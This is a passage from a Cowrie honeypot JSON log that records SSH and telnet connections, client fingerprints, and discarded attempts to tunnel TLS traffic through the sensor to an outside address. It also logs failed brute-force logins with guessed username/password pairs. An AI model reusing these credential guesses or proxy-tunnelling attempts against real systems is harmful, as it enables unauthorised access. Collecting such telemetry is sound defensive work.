x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x02\\xfd/0 \\xc8\\xe1\\xa6\\n\\xa8\\xcb\\x8b;\\x9dKc!P\\x8e\\xca\\xa7\\x1bX*\\xa3\\xaf\\x99\\xa7\\x18\\xdc\\x1d\\x12 ?Ti\\xb7=\\xebhY\\xc7B\\x9a\\x01fh@R\\xd0\\t<\\xf7l)\\xc4\\x9av%h\\x8a\\x93\\x02\\xd7/\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 &\\xa9\\xd8\\xc8I\\x18\\xeci\\xa0;\\xe6\\xf5\\xb7\\xd2\\xc3{\\xc91(\\x89\\xa6\\x0fT\\xca\\xdb\\xc6F7\\xcc@\\x1a<\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:05.136224Z","src_ip":"113.164.152.20","session":"97135608e2a0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:05.428759Z","session":"97135608e2a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:05.542748Z","src_ip":"91.92.40.36","session":"6e4a3ccc94aa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:05.711355Z","src_ip":"113.164.152.20","session":"97135608e2a0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x13\\xd3[-\\xa6\\x8fDp\\xa5\\xa9\\x1c74Ae[\\x91\\x03\\xe3;\\xf2\\xca\\xd8R\\xd7\\xd0\\x18\\xf5?\\xac\\xef# \\r\\x80z\\x8c\\xb1\\x97\\xb1\\xac\\xa4\\xbd\\x07\\xf6\\xc9\\x03k\\x9a\\xe7y\\x8c\\x14\\xa1\\xf7\\t\\x81\\xe6\\x96\"\\x8c\\xb3\\xb0\\xff\\x98\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf41\\x9e\\xd7a\\xd7[\\x1639\\xe6\\xc7\\x93\\xd7\\xc2\\x8d\\xc7\\xf5c\\xba\\xf1\\x0b\\xe5Q\\xd7\\xafi\\xe2\\x11\\x03\\x16q\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x13\\xd3[-\\xa6\\x8fDp\\xa5\\xa9\\x1c74Ae[\\x91\\x03\\xe3;\\xf2\\xca\\xd8R\\xd7\\xd0\\x18\\xf5?\\xac\\xef# \\r\\x80z\\x8c\\xb1\\x97\\xb1\\xac\\xa4\\xbd\\x07\\xf6\\xc9\\x03k\\x9a\\xe7y\\x8c\\x14\\xa1\\xf7\\t\\x81\\xe6\\x96\"\\x8c\\xb3\\xb0\\xff\\x98\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf41\\x9e\\xd7a\\xd7[\\x1639\\xe6\\xc7\\x93\\xd7\\xc2\\x8d\\xc7\\xf5c\\xba\\xf1\\x0b\\xe5Q\\xd7\\xafi\\xe2\\x11\\x03\\x16q\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:05.714994Z","src_ip":"113.164.152.20","session":"97135608e2a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:06.100560Z","src_ip":"113.164.152.20","session":"97135608e2a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":53330,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ce7fe3e6569","protocol":"ssh","message":"New connection: 91.92.40.36:53330 (159.203.135.109:22) [session: 8ce7fe3e6569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:08.899911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:09.786102Z","src_ip":"91.92.40.36","session":"8ce7fe3e6569","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:09.789366Z","src_ip":"91.92.40.36","session":"8ce7fe3e6569","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"wasd","message":"login attempt [ftpuser/wasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:11.729335Z","src_ip":"91.92.40.36","session":"6e4a3ccc94aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwerty12345678","message":"login attempt [ubuntu/qwerty12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:13.475559Z","src_ip":"91.92.40.36","session":"8ce7fe3e6569","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.9","message":"Connection lost after 9.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:14.027968Z","src_ip":"91.92.40.36","session":"6e4a3ccc94aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:15.080496Z","src_ip":"91.92.40.36","session":"8ce7fe3e6569","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":16850,"dst_ip":"159.203.135.109","dst_port":22,"session":"a350d39b05cf","protocol":"ssh","message":"New connection: 91.92.40.36:16850 (159.203.135.109:22) [session: a350d39b05cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:18.173390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:18.256660Z","src_ip":"91.92.40.36","session":"a350d39b05cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:18.608264Z","src_ip":"91.92.40.36","session":"a350d39b05cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"patricia","password":"patricia123","message":"login attempt [patricia/patricia123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:19.911101Z","src_ip":"91.92.40.36","session":"a350d39b05cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.501392126083374,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:20.993702Z","src_ip":"172.81.62.90","session":"6e07f554da51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:21.590600Z","src_ip":"91.92.40.36","session":"a350d39b05cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"36.7","message":"Connection lost after 36.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:26.153855Z","src_ip":"27.71.230.31","session":"df4864a6ee22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":46288,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd5779ebfec7","protocol":"ssh","message":"New connection: 91.92.40.36:46288 (159.203.135.109:22) [session: bd5779ebfec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:27.800503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:28.197050Z","src_ip":"91.92.40.36","session":"bd5779ebfec7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:29.062528Z","src_ip":"91.92.40.36","session":"bd5779ebfec7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33324,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d26e9a6ce55","protocol":"telnet","message":"New connection: 128.199.8.54:33324 (159.203.135.109:23) [session: 0d26e9a6ce55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:29.210734Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":46354,"dst_ip":"159.203.135.109","dst_port":22,"session":"34ec0bd1bdd8","protocol":"ssh","message":"New connection: 91.92.40.36:46354 (159.203.135.109:22) [session: 34ec0bd1bdd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:33.731176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:15:34.663058Z","src_ip":"91.92.40.36","session":"34ec0bd1bdd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes